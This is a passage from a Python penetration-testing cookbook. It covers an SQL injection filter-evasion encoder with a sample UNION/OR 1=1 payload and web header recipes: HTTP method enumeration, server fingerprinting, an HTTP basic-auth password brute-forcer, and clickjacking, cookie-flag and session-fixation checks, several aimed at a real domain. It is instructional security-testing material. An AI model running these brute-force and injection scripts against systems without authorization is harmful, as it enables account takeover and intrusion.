            "text": "Chapter 4\n85\nMore specifically, tuned systems may escape SQL specific words such as SELECT, AND,  \nand OR. These are the very basic values and can be added to or replaced as you see fit:\nsubs = []\nvalues = {“ “: “%50”, “%20”: “%50”, “SELECT”: “HAVING”, “AND”:  \n  “&&”, “OR”: “||”}\nI've hardcoded the original string as an example, so we can see how it works. I've included a \nvalid SQLi string with all of the above values embedded to prove it's usage:\noriginalstring = “'%20UNION SELECT * FROM Users WHERE username =  \n  'admin' OR 1=1 AND username = 'admin';#”\nWe create a second version of the original string, so that we can create a cumulative result \nand a standalone result for each substitution:\nsecondoriginalstring = originalstring\nWe take each dictionary item in turn and assign each key and value to the parameters key \nand value, respectively:\nfor key, value in values.iteritems():\nWe look to see if the initial term is present and then, if so, replace it with the key value.  \nFor example, if a space is present, we will replace it with %50, which is the tab character  \nURL-encoded:\nif key in originalstring:\n    newstring = originalstring.replace(key, value)\nThis string, each iteration, will reset to the original value that we set at the beginning of the \nscript. We then take that string and add to the list we created earlier:\nsubs.append(newstring)\nWe perform the same actions as the preceding with the iterative string that replaces itself \neach turn to create a multi-encoded version:\nif key in secondoriginalstring:\n    secondoriginalstring = secondoriginalstring.replace(key,  \n    value)\n    subs.append(secondoriginalstring)\nFinally, we make the list unique by turning it into a set and return it to the user row by row:\nsubset = set(subs)\nfor line in subs:\n  print line\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 109,
            "text": "SQL Injection\n86\nThere's more…\nAgain, this can be made into an internal function rather than being used as a standalone \nscript. This can alternatively be achieved by using the following script:\ndef encoder(string):\nsubs = []\nvalues = {“ “: “%50”, “SELECT”: “HAVING”, “AND”: “&&”, “OR”: “||”}\noriginalstring = “' UNION SELECT * FROM Users WHERE username =  \n  'admin' OR 1=1 AND username = 'admin'”\nsecondoriginalstring = originalstring\nfor key, value in values.iteritems():\n  if key in originalstring:\n    newstring = originalstring.replace(key, value)\n    subs.append(newstring)\n  if key in secondoriginalstring:\n    secondoriginalstring = secondoriginalstring.replace(key,  \n    value)\n    subs.append(secondoriginalstring)\nsubset = set(subs)\nreturn subset\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 110,
            "text": "87\n5\nWeb Header \nManipulation\nIn this chapter, we will cover the following topics:\nf\nf\nTesting HTTP methods\nf\nf\nFingerprinting servers through HTTP headers\nf\nf\nTesting for insecure headers\nf\nf\nBrute forcing login through the Authorization header\nf\nf\nTesting for clickjacking vulnerabilities\nf\nf\nIdentifying alternative sites by spoofing user agents\nf\nf\nTesting for insecure cookie flags\nf\nf\nSession fixation through a cookie injection\nIntroduction\nA key area of penetration testing web servers is to focus in deep on the server's ability to \nhandle requests and serve responses. If you're penetration testing a standard web server \ndeployment, for example Apache or Nginx, then you will want to concentrate on breaking the \nconfiguration that's been deployed and enumerating/manipulating the content of the site. If \nit's a custom web server that you're penetration testing, then it's a good idea to have a copy \nof the HTTP RFC handy (available at http://tools.ietf.org/html/rfc7231) and to \nadditionally test how the web server handles corrupted packets or unexpected requests.\nThis chapter will focus on creating recipes that manipulate requests in a way that should \nuncover the underlying web technologies and parse responses to highlight common issues or \nkey areas for further testing.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 111,
            "text": "Web Header Manipulation\n88\nTesting HTTP methods\nA good place to start with testing web servers is at the beginning of the HTTP request, by \nenumerating the HTTP methods. The HTTP method is sent by the client and indicates to the \nweb server the type of action that the client is expecting.\nAs specified in RFC 7231, all web servers must support GET and HEAD methods, and all other \nmethods are optional. As there are a lot of common methods beyond the initial GET and HEAD \nmethods, this makes it a good place to focus testing on, as each server will be written to \nhandle requests and send responses in a different way.\nAn interesting HTTP method to look out for is TRACE, as its availability leads to Cross Site \nTracing (XST). TRACE is a loop-back test and basically echoes the request it receives back to \nthe user. This means it can be used for Cross-site scripting attacks (called in this case Cross \nSite Tracing). To do this, the attacker gets a victim to send a TRACE request, with a JavaScript \npayload in the body, which would then get executed locally when returned. Modern browsers \nnow have defenses built-in to protect the user from these attacks by blocking TRACE requests \nmade through JavaScript, so this technique now only works against old browsers or when \nleveraging other technologies such as Java or Flash.\nHow to do it…\nIn this recipe, we are going to connect to the target web server and attempt to enumerate \nthe various HTTP methods available. We shall also be looking for the presence of the TRACE \nmethod and highlighting it, if available:\nimport requests\nverbs = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE',  \n  'TEST']\nfor verb in verbs:\n    req = requests.request(verb, 'http://packtpub.com')\n    print verb, req.status_code, req.reason\n    if verb == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:\n      print 'Possible Cross Site Tracing vulnerability found'\nHow it works…\nThe first line imports the requests library; this will be used a lot in this section:\nimport requests\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 112,
            "text": "Chapter 5\n89\nThe next line creates an array of the HTTP methods we are going to send. Notice the standard \nones—GET, POST, PUT, HEAD, DELETE, and OPTIONS—followed by a non-standard TEST \nmethod. This has been added to check how the server handles input that it's not expecting. \nSome web frameworks treat a non-standard verb as a GET request and respond accordingly. \nThis can be a good way to bypass firewalls, as they may have a strict list of methods to match \nagainst and not process requests from unexpected methods:\nverbs = ['GET', 'POST', 'PUT', 'HEAD', 'DELETE', 'OPTIONS',  \n  'TRACE', 'CONNECT', 'TEST']\nNext is the main loop of the script. This part sends the HTTP packet; in this case, to the target \nhttp://packtpub.com web server. It prints out the method and the response status code \nand reason:\nfor verb in verbs:\n    req = requests.request(verb, 'http://packtpub.com')\n    print verb, req.status_code, req.reason\nFinally, there is a section of code to specifically test for XST:\nif verb == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:\n      print 'Possible Cross Site Tracing vulnerability found'\nThis code checks the server response when sending a TRACE call, checking to see if the \nresponse contains the request text.\nRunning the script gives the following output:\nHere, we can see that the web server is correctly handling the first five requests, returning a \n200 OK response for all these methods. The TRACE response returns 405 Not Allowed, \nshowing that this has been explicitly denied by the web server. One interesting thing with the \ntarget server here is that it returns a 200 OK response for the TEST method. This means that \nthe server is processing the TEST request as a different method; for example, it's treating it as \na GET request. As earlier mentioned, this makes a good way to bypass some firewalls, as they \nmay not process the unexpected TEST method.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 113,
            "text": "Web Header Manipulation\n90\nThere's more…\nIn this recipe, we've shown how to test a target web server for the XST vulnerability and test \nhow it handles various HTTP methods. This script could be extended further by expanding the \nexample HTTP method array to include various other valid and invalid data values; perhaps \nyou could try sending Unicode data to test how the web server handles unexpected character \nsets or send a very long HTTP method and to test for buffer overflows in custom web servers. \nA good resource for this data is to check back to the fuzzing scripts in Chapter 3, Vulnerability \nIdentification, for example, using payloads from Mozilla's FuzzDB.\nFingerprinting servers through HTTP \nheaders\nThe next part of the HTTP protocol that we will be concentrating on are the HTTP headers. \nFound in both the requests and responses from the web server, these carry extra information \nbetween the client and server. Any area with extra data makes a great place to parse \ninformation about the servers and to look for potential issues.\nHow to do it…\nThe following is a simple header grabbing script that will parse the response headers in an \nattempt to identify the web server technology in use:\nimport requests\nreq = requests.get('http://packtpub.com')\nheaders = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code']\nfor header in headers:\n    try:\n  result = req.headers[header]\n        print '%s: %s' % (header, result)\n    except Exception, error:\n        print '%s: Not found' % header\nHow it works…\nThe first part of the script makes a simple GET request to the target web server, through the \nfamiliar requests library:\nreq = requests.get('http://packtpub.com')\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 114,
            "text": "Chapter 5\n91\nNext, we generate an array of headers to look out for:\nheaders = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-  \n  Code']\nIn this script, we have used a try/except block around the main code:\ntry:\n  result = req.headers[header]\n        print '%s: %s' % (header, result)\nexcept:\nprint '%s: Not found' % header\nWe need this error handling because headers are not mandatory; therefore, if we tried to \nretrieve a key from the array for a header that didn't exist, Python would raise an exception.  \nTo overcome this, we simply print out Not found if the specified header wasn't present in  \nthe response.\nThe following is a screenshot of the output from running the script against the target server  \nin this example:\nThe first output line show the Server header, which displays the underlying web server \ntechnology. This is a great place for finding vulnerable web server versions, but be aware that \nit is possible to disable and also spoof this header, so don't explicitly rely on this for guessing \nthe target server platform.\nThe Date header contains useful information that can be used to guess where the server is \nlocated. For example, you can figure out the time difference relative to your local time zone to \ngive a rough indication of where it is.\nThe Via header is used by proxies, both outgoing and incoming, and will display the proxy \nname, in this case 1.1 varnish.\nThe X-Powered-By is a standard header used in common web frameworks such as PHP. \nA default PHP installation will respond with PHP and the version number, making it another \ngreat target for reconnaissance.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 115,
            "text": "Web Header Manipulation\n92\nThe final line prints the X-Country-Code short code, another useful piece of information to \nidentify where the server is located.\nBe aware that all these headers can be set or overridden on the server side, so do not rely on \nthis information explicitly and be wary of parsing data directly from remote servers; even these \nheaders could contain malicious values.\nThere's more…\nThis script currently contain the version of the server, but it could then be extended further \nto query online CVE databases, such as https://cve.mitre.org/cve/, looking for \nvulnerabilities affecting the web server version.\nAnother technique that can be used to increase the confidence of fingerprinting is to check \nthe order of the response headers. For example, Microsoft IIS returns the Server header \nbefore the Date header, whereas Apache returns Date and then Server. This slightly \ndifferent ordering can be used to verify any server versions that you may have deduced from \nthe header values in this recipe.\nTesting for insecure headers\nWe've previously seen how the HTTP responses can be a great source of information for \nenumerating the underlying web framework in place. We are now going to take this to the next \nlevel by using the HTTP header information to test for insecure web server configurations and \nflagging up anything that can lead to a vulnerability.\nGetting ready\nFor this recipe, you will need a list of URLs that you want to test for insecure headers. Save \nthese into a text file called urls.txt, with each URL on a new line, alongside your recipe.\nHow to do it…\nThe following code will highlight any vulnerable headers received in the HTTP response from \neach of the target URLs:\nimport requests\nurls = open(\"urls.txt\", \"r\")\nfor url in urls:\n  url = url.strip()\n  req = requests.get(url)\n  print url, 'report:'\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 116,
            "text": "Chapter 5\n93\n  try:\n    xssprotect = req.headers['X-XSS-Protection']\n    if  xssprotect != '1; mode=block':\n      print 'X-XSS-Protection not set properly, XSS may be  \n      possible:', xssprotect\n  except:\n    print 'X-XSS-Protection not set, XSS may be possible'\n  try:\n    contenttype = req.headers['X-Content-Type-Options']\n    if contenttype != 'nosniff':\n      print 'X-Content-Type-Options not set properly:',   \n      contenttype\n  except:\n    print 'X-Content-Type-Options not set'\n  try:\n    hsts = req.headers['Strict-Transport-Security']\n  except:\n    print 'HSTS header not set, MITM attacks may be possible'\n  try:\n    csp = req.headers['Content-Security-Policy']\n    print 'Content-Security-Policy set:', csp\n  except:\n    print 'Content-Security-Policy missing'\n  print '----'\nHow it works…\nThis recipe is configured for testing many sites, so the first part reads in the URLs from the \ntext file and prints out the current target:\nurls = open(\"urls.txt\", \"r\")\nfor url in urls:\n  url = url.strip()\n  req = requests.get(url)\n  print url, 'report:'\nEach header is then tested inside a try/except block. This is similar to the previous recipe in \nwhich this coding style is needed because the headers are not mandatory. If we attempted to \nreference a key for a header that doesn't exist, Python would raise an exception.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 117,
            "text": "Web Header Manipulation\n94\nThe first X-XSS-Protection header should be set to 1; mode=block to enable XSS \nprotection in the browser. The script prints out a warning if the header does not explicitly \nmatch that format or if it's not set:\ntry:\n    xssprotect = req.headers['X-XSS-Protection']\n    if  'xssprotect' != '1; mode=block':\n      print 'X-XSS-Protection not set properly, XSS may be  \n      possible'\n  except:\n    print 'X-XSS-Protection not set, XSS may be possible'\nThe next X-Content-Type-Options header should be set to nosniff to prevent MIME \ntype confusion. A MIME type specifies the content of the target resource, for example,  \ntext/plain means the remote resource should be a text file. Some web browsers attempt to \nguess the MIME type of a resource if it's not specified. This can lead to Cross-site scripting \nattacks; if a resource contains a malicious script, but it only indicates to be a plain text file, it \nmay bypass content filters and be executed. This check will print a warning if the header is not \nset or if the response does not explicitly match to nosniff:\ntry:\n    contenttype = req.headers['X-Content-Type-Options']\n    if contenttype != 'nosniff':\n      print 'X-Content-Type-Options not set properly'\n  except:\n    print 'X-Content-Type-Options not set'\nThe next Strict-Transport-Security header is used to force communication over a \nHTTPS channel, to prevent man in the middle (MITM) attacks. The lack of this header means \nthat the communication channel could be downgraded to HTTP by an MITM attack:\n  try:\n    hsts = req.headers['Strict-Transport-Security']\n  except:\n    print 'HSTS header not set, MITM attacks may be possible'\nThe final Content-Security-Policy header is used to restrict the type of resources that \ncan load on the web page, for example, restricting where JavaScript can run:\n  try:\n    csp = req.headers['Content-Security-Policy']\n    print 'Content-Security-Policy set:', csp\n  except:\n    print 'Content-Security-Policy missing'\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 118,
            "text": "Chapter 5\n95\nThe output from the recipe is shown in the following screenshot:\nBrute forcing login through the Authorization \nheader\nMany websites use HTTP basic authentication to restrict access to content. This is  \nespecially prevalent in embedded devices such as routers. The Python requests library has \nbuilt-in support for basic authentication, making an easy way to create an authentication \nbrute force script.\nGetting ready\nBefore creating this recipe, you're going to need a list of passwords to attempt to authenticate \nwith. Create a local text file called passwords.txt, with each password on a new line. \nCheck out Brute forcing passwords in Chapter 2, Enumeration, for password lists from online \nresources. Also, spend some time to scope out the target server as you're going to need to \nknow how it responds to a failed login request, so that we can differentiate when the brute \nforce works or not.\nHow to do it…\nThe following code will attempt to brute force entry to website through basic authentication:\nimport requests\nfrom requests.auth import HTTPBasicAuth\nwith open('passwords.txt') as passwords:\n    for password in passwords.readlines():\n        password = password.strip()\n        req = requests.get('http://packtpub.com/admin_login.html',  \n        auth=HTTPBasicAuth('admin', password))\n        if req.status_code == 401:\n            print password, 'failed.'\n        elif req.status_code == 200:\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 119,
            "text": "Web Header Manipulation\n96\n            print 'Login successful, password:', password\n            break\n        else:\n            print 'Error occurred with', password\n            break\nHow it works…\nThe first part of this script reads in the password list, line by line. Then, it sends an HTTP GET \nrequest to the login page:\nreq = requests.get('http://packtpub.com/admin_login.html',  \n  auth=HTTPBasicAuth('admin', password))\nThis request has an additional auth parameter, which contains the username admin and the \npassword read from the passwords.txt file. When sending an HTTP request with a basic \nAuthorization header, the raw data looks like the following:\nNotice that in the Authorization header the data is sent in an encoded format, such  \nas YWRtaW46cGFzc3dvcmQx. This is the username and password in a base64 encoded  \nform of username:password; the requests.auth.HTTPBasicAuth class just does  \nthis conversion for us. This can be verified by using the base64 library, as shown in the  \nfollowing screenshot:\nKnowing this information means that you could still get the script to run without the external \nrequests library; instead, it crafts an Authorization header manually using the base64 \ndefault library.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 120,
            "text": "Chapter 5\n97\nThe following is a screenshot of the brute force script in action:\nThere's more…\nIn this example, we've used a fixed username of admin in the authorization request, as this \nwas known. If this is unknown, you could create a username.txt text file and loop through \neach of those lines too, just as we've done with the password text file. Note that this is a much \nslower process and creates a lot of HTTP requests to the target site, which is likely to get you \nblacklisted, unless you implement rate limiting.\nSee also\nCheck out the Checking username validity and Brute forcing usernames recipes in  \nChapter 2, Enumeration, for further ideas on username and password combinations.\nTesting for clickjacking vulnerabilities\nClickjacking is a technique used to trick users into performing actions on a target site without \nthem realizing. This is done by a malicious user placing a hidden overlay on top of a legitimate \nwebsite, so when the victim thinks they are interacting with the legitimate site, they are really \nclicking on hidden items on the hidden top overlay. This attack can be crafted in such a way \nthat it causes the victim to type in credentials or click and drag on items without realizing \nthey are being attacked. These attacks can be used against banking sites to trick victims into \ntransferring funds and were also common among social networking sites in an attempt to gain \nmore followers or likes, although most have defensive measures in place now.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 121,
            "text": "Web Header Manipulation\n98\nHow to do it…\nThere are two main ways websites can prevent clickjacking: either by setting an X-FRAME-\nOPTIONS header, which tells the browser not to render the site if it's inside a frame, or by \nusing JavaScript to escape out of frames (commonly known as frame-busting). This recipe will \nshow you how to detect both defenses so that you can identify websites that have neither:\nimport requests\nfrom ghost import Ghost\nimport logging\nimport os\nURL = 'http://packtpub.com'\nreq = requests.get(URL)\ntry:\n    xframe = req.headers['x-frame-options']\n    print 'X-FRAME-OPTIONS:', xframe , 'present, clickjacking not  \n    likely possible'\nexcept:\n    print 'X-FRAME-OPTIONS missing'\nprint 'Attempting clickjacking...'\nhtml = '''\n<html>\n<body>\n<iframe src=\"'''+URL+'''\" height='600px' width='800px'></iframe>\n</body>\n</html>'''\n  \nhtml_filename = 'clickjack.html'\nf = open(html_filename, 'w+')\nf.write(html)\nf.close()\nlog_filename = 'test.log'\nfh = logging.FileHandler(log_filename)\nghost = Ghost(log_level=logging.INFO, log_handler=fh)\npage, resources = ghost.open(html_filename)\n  \nwww.it-ebooks.info\n"
        },
        {
            "page_number": 122,
            "text": "Chapter 5\n99\nl = open(log_filename, 'r')\nif 'forbidden by X-Frame-Options.' in l.read():\n    print 'Clickjacking mitigated via X-FRAME-OPTIONS'\nelse:\n    href = ghost.evaluate('document.location.href')[0]\n    if html_filename not in href:\n        print 'Frame busting detected'\n    else:\n        print 'Frame busting not detected, page is likely  \n        vulnerable to clickjacking'\nl.close()\nlogging.getLogger('ghost').handlers[0].close()\nos.unlink(log_filename)\nos.unlink(html_filename)\nHow it works…\nThe first part of this script checks for the first clickjacking defense, the X-FRAME-OPTIONS \nheader, in a similar fashion as we've seen in the previous recipe. X-FRAME-OPTIONS takes \nthree values: DENY, SAMEORIGIN, or ALLOW-FROM <url>. Each of these values give a \ndifferent level of protection against clickjacking, so, in this recipe, we are attempting to detect \nthe lack of any:\ntry:\n    xframe = req.headers['x-frame-options']\n    print 'X-FRAME-OPTIONS:', xframe , 'present, clickjacking not  \n    likely possible'\nexcept:\n    print 'X-FRAME-OPTIONS missing'\nThe next part of the code creates a local html clickjack.html file, containing a few very \nsimple lines of HTML code, and saves them into a local clickjack.html file:\nhtml = '''\n<html>\n<body>\n<iframe src=\"'''+URL+'''\" height='600px' width='800px'></iframe>\n</body>\n</html>'''\nhtml_filename = 'clickjack.html'\nf = open(html_filename, 'w+')\nf.write(html)\nf.close()\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 123,
            "text": "Web Header Manipulation\n100\nThis HTML code creates an iframe with the source set to the target website. The HTML file will \nbe loaded into ghost in an attempt to render the website and detect if the target site is loaded \nin the iframe. Ghost is a WebKit rendering engine, so it should be similar to what would \nhappen if the site is loaded in a Chrome browser.\nThe next part sets up ghost logging to redirect to a local log file (the default is printing to \nstdout):\nlog_filename = 'test.log'\nfh = logging.FileHandler(log_filename)\nghost = Ghost(log_level=logging.INFO, log_handler=fh)\nThe next line renders the local HTML page in ghost and contain any extra resources that were \nrequested by the target page:\npage, resources = ghost.open(html_filename)\nWe then open the log file and check for the X-FRAME-OPTIONS error:\nl = open(log_filename, 'r')\nif 'forbidden by X-Frame-Options.' in l.read():\n    print 'Clickjacking mitigated via X-FRAME-OPTIONS'\nThe next part of the script checks for framebusting; if the iframe has JavaScript code  \nto detect it's being loaded inside an iframe it will break out of the frame, causing the page  \nto redirect to the target website. We can detect this by executing JavaScript in ghost with \nghost.evaluate and reading the current location:\nhref = ghost.evaluate('document.location.href')[0]\nThe final part of code is for clean-up, closing any open files or any open logging handlers, and \ndeleting the temporary HTML and log files:\nl.close()\nlogging.getLogger('ghost').handlers[0].close()\nos.unlink(log_filename)\nos.unlink(html_filename)\nIf the script outputs Frame busting not detected, page is likely vulnerable \nto clickjacking, then the target website can be rendered inside a hidden iframe and \nused in a clickjacking attack. An example of the log from a vulnerable site is shown in the \nfollowing screenshot:\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 124,
            "text": "Chapter 5\n101\nIf you view the generating clickjack.html file in a web browser, it will confirm that the target \nweb server can be loaded in an iframe and is therefore susceptible to clickjacking, as shown \nin the following screenshot:\nIdentifying alternative sites by spoofing  \nuser agents\nSome websites restrict access or display different content-based on the browser or device \nyou're using to view it. For example, a web site may show a mobile-oriented theme for users \nbrowsing from an iPhone or display a warning to users with an old and vulnerable version of \nInternet Explorer. This can be a good place to find vulnerabilities because these might have \nbeen tested less rigorously or even forgotten about by the developers.\nHow to do it…\nIn this recipe, we will show you how to spoof your user agent, so you appear to the website as \nif you're using a different device in an attempt to uncover alternative content:\nimport requests\nimport hashlib\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 125,
            "text": "Web Header Manipulation\n102\nuser_agents = { 'Chrome on Windows 8.1' : 'Mozilla/5.0 (Windows NT  \n  6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)  \n  Chrome/40.0.2214.115 Safari/537.36',\n'Safari on iOS' : 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_3 like  \n  Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0  \n  Mobile/12B466 Safari/600.1.4',\n'IE6 on Windows XP' : 'Mozilla/5.0 (Windows; U; MSIE 6.0; Windows  \n  NT 5.1; SV1; .NET CLR 2.0.50727)',\n'Googlebot' : 'Mozilla/5.0 (compatible; Googlebot/2.1;  \n  +http://www.google.com/bot.html)' }\nresponses = {}\nfor name, agent in user_agents.items():\n  headers = {'User-Agent' : agent}\n  req = requests.get('http://packtpub.com', headers=headers)\n  responses[name] = req\nmd5s = {}\nfor name, response in responses.items():\n  md5s[name] = hashlib.md5(response.text.encode('utf-  \n  8')).hexdigest()\nfor name,md5 in md5s.iteritems():\n    if name != 'Chrome on Windows 8.1':\n        if md5 != md5s['Chrome on Windows 8.1']:\n            print name, 'differs from baseline'\n        else:\n            print 'No alternative site found via User-Agent  \n            spoofing:', md5\nHow it works…\nWe first set up an array of user agents, with a friendly name assigned to each key:\nuser_agents = { 'Chrome on Windows 8.1' : 'Mozilla/5.0 (Windows NT  \n  6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)  \n  Chrome/40.0.2214.115 Safari/537.36',\n'Safari on iOS' : 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_3 like  \n  Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0  \n  Mobile/12B466 Safari/600.1.4',\n'IE6 on Windows XP' : 'Mozilla/5.0 (Windows; U; MSIE 6.0; Windows  \n  NT 5.1; SV1; .NET CLR 2.0.50727)',\n'Googlebot' : 'Mozilla/5.0 (compatible; Googlebot/2.1;  \n  +http://www.google.com/bot.html)' }\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 126,
            "text": "Chapter 5\n103\nThere are four user agents here: Chrome on Windows 8.1, Safari on iOS, Internet Explorer 6 \non Windows XP, and finally, the Googlebot. This gives a wide range of browsers and examples \nof which you would expect to find different content behind each request. The final user  \nagent in the list, Googlebot, is the crawler that Google sends when spidering data for their \nsearch engine.\nThe next part loops through each of the user agents and sets the User-Agent header  \nin the request:\nresponses = {}\nfor name, agent in user_agents.items():\n  headers = {'User-Agent' : agent}\nThe next section sends the HTTP request, using the familiar requests library, and stores  \neach response in the responses array, using the user friendly name as the key:\nreq = requests.get('http://www.google.com', headers=headers)\n  responses[name] = req\nThe next part of the code creates an md5s array and then iterates through the responses, \ngrabbing the response.text file. From this, it generates an md5 hash of the response \ncontent and stores it into the md5s array:\nmd5s = {}\nfor name, response in responses.items():\n  md5s[name] = hashlib.md5(response.text.encode('utf-  \n  8')).hexdigest()\nThe final part of the code iterates through the md5s array and compares each item to the \noriginal baseline request, in this recipe Chrome on Windows 8.1:\nfor name,md5 in md5s.iteritems():\n    if name != 'Chrome on Windows 8.1':\n        if md5 != md5s['Chrome on Windows 8.1']:\n            print name, 'differs from baseline'\n        else:\n            print 'No alternative site found via User-Agent  \n            spoofing:', md5\nWe hashed the response text so that it keeps the resulting array small, thus reducing the \nmemory footprint. You could compare each response directly by its content, but this would be \nslower and use more memory to process.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 127,
            "text": "Web Header Manipulation\n104\nThis script will print out the user agent friendly name if the response from the web  \nserver is different from the Chrome on Windows 8.1 baseline response, as seen in the \nfollowing screenshot:\nSee also\nThis recipe is based upon being able to manipulate headers in the HTTP requests. Check \nout Header-based Cross-site scripting and Shellshock checking sections in Chapter 3, \nVulnerability Identification, for more examples of data that can be passed into the headers.\nTesting for insecure cookie flags\nThe next topic of interest from the HTTP protocol is cookies. As HTTP is a stateless protocol, \ncookies provide a way to store persistent data on the client side. This allows a web server to \nhave session management by persisting data to the cookie for the length of the session.\nCookies are set from the web server in the HTTP response using a Set-Cookie header. They \nare then sent back to the server through the Cookie header. This recipe will look at ways to \naudit the cookies being set by a website to verify if they have secure attributes or not.\nHow to do it…\nThe following is a recipe to enumerate through each of the cookies set on a target site and \nflag any insecure settings that are present:\nimport requests\nreq = requests.get('http://www.packtpub.com')\nfor cookie in req.cookies:\n  print 'Name:', cookie.name\n  print 'Value:', cookie.value\n  if not cookie.secure:\n    cookie.secure = '\\x1b[31mFalse\\x1b[39;49m'\n  print 'Secure:', cookie.secure\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 128,
            "text": "Chapter 5\n105\n  if 'httponly' in cookie._rest.keys():\n    cookie.httponly = 'True'\n  else:\n    cookie.httponly = '\\x1b[31mFalse\\x1b[39;49m'\n  print 'HTTPOnly:', cookie.httponly\n  if cookie.domain_initial_dot:\n    cookie.domain_initial_dot = '\\x1b[31mTrue\\x1b[39;49m'\n  print 'Loosly defined domain:', cookie.domain_initial_dot, '\\n'\nHow it works…\nWe enumerate each cookie sent from the web server and check their attributes. The first two \nattributes are the name and value of the cookie:\n  print 'Name:', cookie.name\n  print 'Value:', cookie.value\nWe then check for the secure flag on the cookie:\nif not cookie.secure:\n    cookie.secure = '\\x1b[31mFalse\\x1b[39;49m'\n  print 'Secure:', cookie.secure\nThe Secure flag on a cookies means it is only sent over HTTPS. This is good for cookies \nused for authentication because it means they can't be sniffed over the wire if, for example, \nsomeone is monitoring open network traffic.\nAlso note that the \\x1b[31m code is a special ANSI escape code used to change the  \ncolor of the terminal font. Here, we've highlighted the headers that are insecure in red.  \nThe \\x1b[39;49m code resets the color back to default. See the Wikipedia page on ANSI  \nfor more information at http://en.wikipedia.org/wiki/ANSI_escape_code.\nThe next check is for the httponly attribute:\n  if 'httponly' in cookie._rest.keys():\n    cookie.httponly = 'True'\n  else:\n    cookie.httponly = '\\x1b[31mFalse\\x1b[39;49m'\n  print 'HTTPOnly:', cookie.httponly\nIf this is set to True, it means JavaScript cannot access the contents of the cookie, and it is \nsent to the browser and can only be read by the browser. This is used to mitigate against XSS \nattempts, so when penetration testing, the lack of this cookie attribute is a good thing.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 129,
            "text": "Web Header Manipulation\n106\nWe finally check for the domain in the cookie, to see if it starts with a dot:\nif cookie.domain_initial_dot:\n    cookie.domain_initial_dot = '\\x1b[31mTrue\\x1b[39;49m'\n  print 'Loosly defined domain:', cookie.domain_initial_dot, '\\n'\nIf the domain attribute of the cookie starts with a dot, it indicates the cookie is used  \nacross all subdomains and therefore possibly visible beyond the intended scope.\nThe following screenshot shows how the insecure flags are highlighted in red for the  \ntarget website:\nThere's more…\nWe've previously seen how to enumerate the technologies used to serve a website by \nextracting the headers. Certain frameworks also store information in the cookie, for example, \nPHP creates a cookies called PHPSESSION, which is used to store session data. Therefore, \nthe presence of this data indicates the use of PHP, and the server can then be enumerated \nfurther in an attempt to test it for known PHP vulnerabilities.\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 130,
            "text": "Chapter 5\n107\nSession fixation through a cookie injection\nSession fixation is a vulnerability that relies on re-use of a session ID. First, the attacker must \nbe able to force the victim to use a specific session ID by setting a cookie on their client or by \nalready knowing the value of the victim's session ID. Then, when the victim authenticates, the \ncookies remain the same on the client. Therefore, the attacker knows the session ID and now \nhas access to the victim's session.\nGetting ready\nThis recipe will require some initial reconnaissance performed against the target site to \nidentify how it's performs authentication, for example through data in the POST requests or \nthrough basic auth. It will also require a valid user account to authenticate with.\nHow to do it…\nThis recipe will be testing for session fixation through a cookie injection:\nimport requests\nurl = 'http://www.packtpub.com/'\nreq = requests.get(url)\nif req.cookies:\n  print 'Initial cookie state:', req.cookies\n  cookie_req = requests.post(url, cookies=req.cookies,  \n  auth=('user1', 'supersecretpasswordhere'))\n  print 'Authenticated cookie state:', cookie_req.cookies\n  if req.cookies == cookie_req.cookies:\n      print 'Session fixation vulnerability identified'\nHow it works…\nThis script has two stages; the first step is sending an initial get request to the target website \nand then displaying the cookies received:\nreq = requests.get(url)\nprint 'Initial cookie state:', req.cookies\nwww.it-ebooks.info\n"
        },
        {
            "page_number": 131,
            "text": "Web Header Manipulation\n108\nThe second stage of the script sends another request to the target site, this time \nauthenticating with valid user credentials:\ncookie_req = requests.post(url, cookies=req.cookies,  \n  auth=('user1', 'supersecretpasswordhere'))\nNotice here that we set the request cookies to the cookies that we received in the initial GET  \nrequest earlier.\nThe script ends by printing out the final cookie state and printing a warning if the \nauthenticated cookies match the cookies that were sent in the initial request:\nprint 'Authenticated cookie state:', cookie_req.cookies\nif req.cookies == cookie_req.cookies:\n  print 'Session fixation vulnerability identified'\nThere's more…\nCookies are another data source that is user-controlled and parsed by the web server.  \nSimilar to headers, this makes it a great place to test for XSS vulnerabilities. Try adding XSS \npayloads to cookie data and sending it to the target server to see how it handles the data. \nRemember that cookies may be read in from the web server backend or may be printed out to \nthe logs, and therefore XSS might be possible against the log reader (if, for example, it's later \nread by an admin). \nwww.it-ebooks.info\n"
        },
        {
            "page_number": 132,
